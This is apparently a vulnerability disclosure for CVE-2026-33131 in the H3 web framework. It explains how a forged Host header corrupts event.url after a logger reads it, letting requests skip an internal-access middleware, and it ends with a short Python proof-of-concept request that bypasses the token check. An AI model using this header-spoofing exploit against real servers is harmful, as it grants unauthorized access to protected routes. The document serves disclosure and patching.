CVE-2026-33131

H3 NodeRequestUrl bugs 

Vulnerable pieces of code : 

import { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from "h3";
let app = new H3()
const internalOnly = defineHandler((event, next) => {
  const token = event.headers.get("x-internal-key");
  if (token !== "SUPERRANDOMCANNOTBELEAKED") {
    return new Response("Forbidden", { status: 403 });
  }
  return next();
});
const logger = defineHandler((event, next) => {
    console.log("Logging : " +  event.url.hostname)
    return next() 
})
app.use(logger);
app.use("/internal/run", internalOnly);

app.get("/internal/run", () => {
  return "Internal OK";
});
serve(app, { port: 3001 });

The middleware is super safe now with just a logger and a middleware to block internal access.

But there's one problems here at the logger .

When it log out the event.url or event.url.hostname or event.url._url

It will lead to trigger one specials method 

// _url.mjs FastURL
get _url() {
    if (this.#url) return this.#url;
    this.#url = new NativeURL(this.href);
    this.#href = void 0;
    this.#protocol = void 0;
    this.#host = void 0;
    this.#pathname = void 0;
    this.#search = void 0;
    this.#searchParams = void 0;
    this.#pos = void 0;
    return this.#url;
}

The NodeRequestUrl is extends from FastURL so when we just access .url or trying to dump all data of this class . This function will be triggered !! 

And as debugging , the this.#url is null and will reach to this  code  : 

 this.#url = new NativeURL(this.href);

Where is the this.href comes from ? 

get href() {
    if (this.#url) return this.#url.href;
    if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;
    return this.#href;
}

Because the this.#url is still null so this.#href is built up by : 

if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;

Yeah and this is untrusted data go . An attacker can pollute the Host header from requests lead overwrite the event.url .

Middleware bypass

What can be done with overwriting the event.url? 

Audit the code we can easily realize that the routeHanlder is found before running any middlewares 

handler(event) {
    const route = this["~findRoute"](event);
    if (route) {
        event.context.params = route.params;
        event.context.matchedRoute = route.data;
    }
    const routeHandler = route?.data.handler || NoHandler;
    const middleware = this["~getMiddleware"](event, route);
    return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);
}

So the handleRoute is fixed but when checking with middleware it check with the spoofed one lead to MIDDLEWARE BYPASS

We have this poc : 

import requests
url = "http://localhost:3000"
headers = {
    "Host":f"localhost:3000/abchehe?"
}
res = requests.get(f"{url}/internal/run",headers=headers)
print(res.text)

This is really dangerous if some one just try to dump all the event.url or something that trigger _url() from class FastURL and need a fix immediately.
